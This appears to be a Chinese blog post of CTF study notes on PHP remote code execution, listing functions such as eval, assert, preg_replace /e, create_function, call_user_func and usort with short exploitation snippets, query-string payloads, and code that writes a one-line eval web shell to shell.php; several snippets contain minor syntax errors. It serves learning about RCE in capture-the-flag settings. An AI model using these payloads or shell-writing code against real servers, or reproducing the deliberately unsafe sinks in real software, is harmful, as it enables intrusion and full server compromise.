Web1 命令执行

一.rce中常用的PHP代码执行函数

eval() , assert() , preg_replace() , create_function() , array_map() , call_user_func()/call_user_func_array() , array_filter() , usort()/uasort() , file_put_contents()

1.eval

执⾏⼀个字符串表达式,该字符串必须是合法的 PHP 代码,且必须以 分号 结尾

https://www.cnblogs.com/linuxnotes/p/3466756.html

使用方式:​
一.
<?php
$a = 199;
eval("echo\$a;"); #输出:199
?>

 //例子
<?php
$str = "array('a'=>'123','b'=>'456')";
eval("\$arr= ".$str.";");
var_dump($arr);
<!--输出:array(2) { ["a"]=> string(3) "123" ["b"]=> string(3) "456" }
-->

//
<?php
$a = $_GET['a'];
eval($a);
//a = eval($_GET['1']);&1=phpinfo();
?>
二.
<?php
eval($_POST['a']);
?>
//如果想在a中再放一个可以任意控制的参数绕过正则检测
不能直接令a=$_POST[1]
尝试:
a = system($_POST[1]); //1可以执行一些系统命令
//例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>
<!--输出:This is a $string $time morning!
This is a beautiful winter morning! -->

2.assert

assert 函数 是直接将传⼊的参数当成 PHP代码 直接,不需要以分号结尾,加上也可以。

说明:

1.PHP 5

   assert(mixed $assertion, string $description = ?): bool

2.PHP 7

   assert(mixed $assertion, Throwable $exception = ?): bool

3.如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

断言:https://www.php.net/manual/zh/regexp.reference.assertions.php

3.preg_replace()

preg_replace(

string|array $pattern,

string|array $replacement,

string|array $subject,

int $limit = -1,

int &$count = null

): string|array|null

搜索 subject 中匹配 pattern 的部分,以 replacement 进⾏替换。 preg_replace() 函数原本是执行一个正则表达式的搜索和替换,但因为存在危险 的 /e修饰符,使 preg_replace 将 replacement 参数当作 PHP 代码。

利用方式:
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

4.create_function()

通过传递的参数创建⼀个匿名函数,并且返回函数的⼀个名字。

create_function(string $args, string $code): string

第一个参数是函数接受的参数,第二个参数是函数的执行体

 

 警告:此函数在内部执行eval(),因此具有与eval()相同的安全问题。 此外,它具有较差的性能和内存使用特性。  

如果您使用的是PHP 5.3.0或更新版本,则应该使用本地匿名函数。  

利用方式:
$newfunc = create_function('', '$_REQUEST['cmd']');
$newfunc();

5.array_map()

为数组的每个元素应⽤回调函数

array_map(callable $callback, array $array, array ...$arrays): array

array_map():返回数组,是为 array 每个元素应⽤ callback 函数(回调函数)之后的数 组。 array_map() 返回⼀个 array,数组内容为 array1 的元素按索引顺序为参数调 ⽤ callback 后的结果(有更多数组时,还会传⼊ arrays 的元素)。 callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。

利用方式
<?php
//func = system
$func = $_GET['func'];
//cmd = ls
$cmd=$_GET['cmd'];
$array[0] = $cmd
$new_array = array_map($func,$array); //返回执行结果后的新数组
//print_r($new_array);
?>

6.call_user_func()/call_user_func_array()

(1)call_user_func() :把第⼀个参数作为回调函数调⽤

call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed

第⼀个参数是被调⽤的回调函数,后⾯的参数是函数的形参

 返回值:返回回调函数的返回值。

利用方式
<?php
$cmd=$_REQUEST['cmd'];
//cmd = phpinfo()
call_user_func(assert,$cmd);
?>

(2)call_user_func_array() :调⽤回调函数,并把⼀个数组参数作为回 调函数的参数

  call_user_func_array(callable $callback, array $param_arr): mixed

利用方式:
<?php
$func = $_REQUEST['func'];
$cmd = $_REQUEST['cmd'];
$array['0'] = $cmd
$result = call_user_func_array($func,$cmd);
//print_r($result);
?>

 7.array_filter()

使⽤回调函数过滤数组的元素

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true ,则将 array 数组中的当前值返回到结果 array 数组中。

利用方式:
<?php
$func = $_GET['func'];
$cmd = $_GET['cmd'];
$array1=array($cmd);
array_filter($array1,$func)
?>

8.usort()/uasort()

使⽤⽤户⾃定义的⽐较函数对数组中的值进⾏排序

usort(array &$array, callable $callback): bool

本函数将⽤⽤户⾃定义的⽐较函数对⼀个数组中的值进⾏排序。 如果要排序的数组需要用⼀种不寻常的标准进⾏排序,那么应该使⽤此函数。

1.php环境>=5.6才能用

<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
2.php环境>=<5.6才能用

<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

https://www.wd0g.com/?p=190

9.file_put_contents()/fputs()

将⼀个字符串写⼊⽂件

file_put_contents(

string $filename,

mixed $data,

int $flags = 0,

resource $context = ?

): int

利用方式:
1.file_put_contents
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test.php',$test);
?>

2.fputs
<?php
fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[1]);?>')
?>

10.动态函数构造

利用方式:
<?php
a=assert&b=system('ls')
$_GET['a']($_GET['b']);
?>

二.rce(远程代码执行)中常用的包含文件函数

1.include

当包含 .php ⽂件时,可同时运⾏。

利⽤⽅式:

include('flag.php');

或者 include 'flag.php';

姿势绕过

include $_GET[1]?>&1=flag.php

2.highlight_file

语法⾼亮⼀个⽂件,即将⽂件内容全部展示出来。

highlight_file(string $filename, bool $return = false): mixed

这个函数被ban掉的可能性较⼩,可以尝试⾼亮 flag ⽂件

利⽤⽅式:highlight_file 'flag.php'

3.show_source

highlight_file 的别名

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值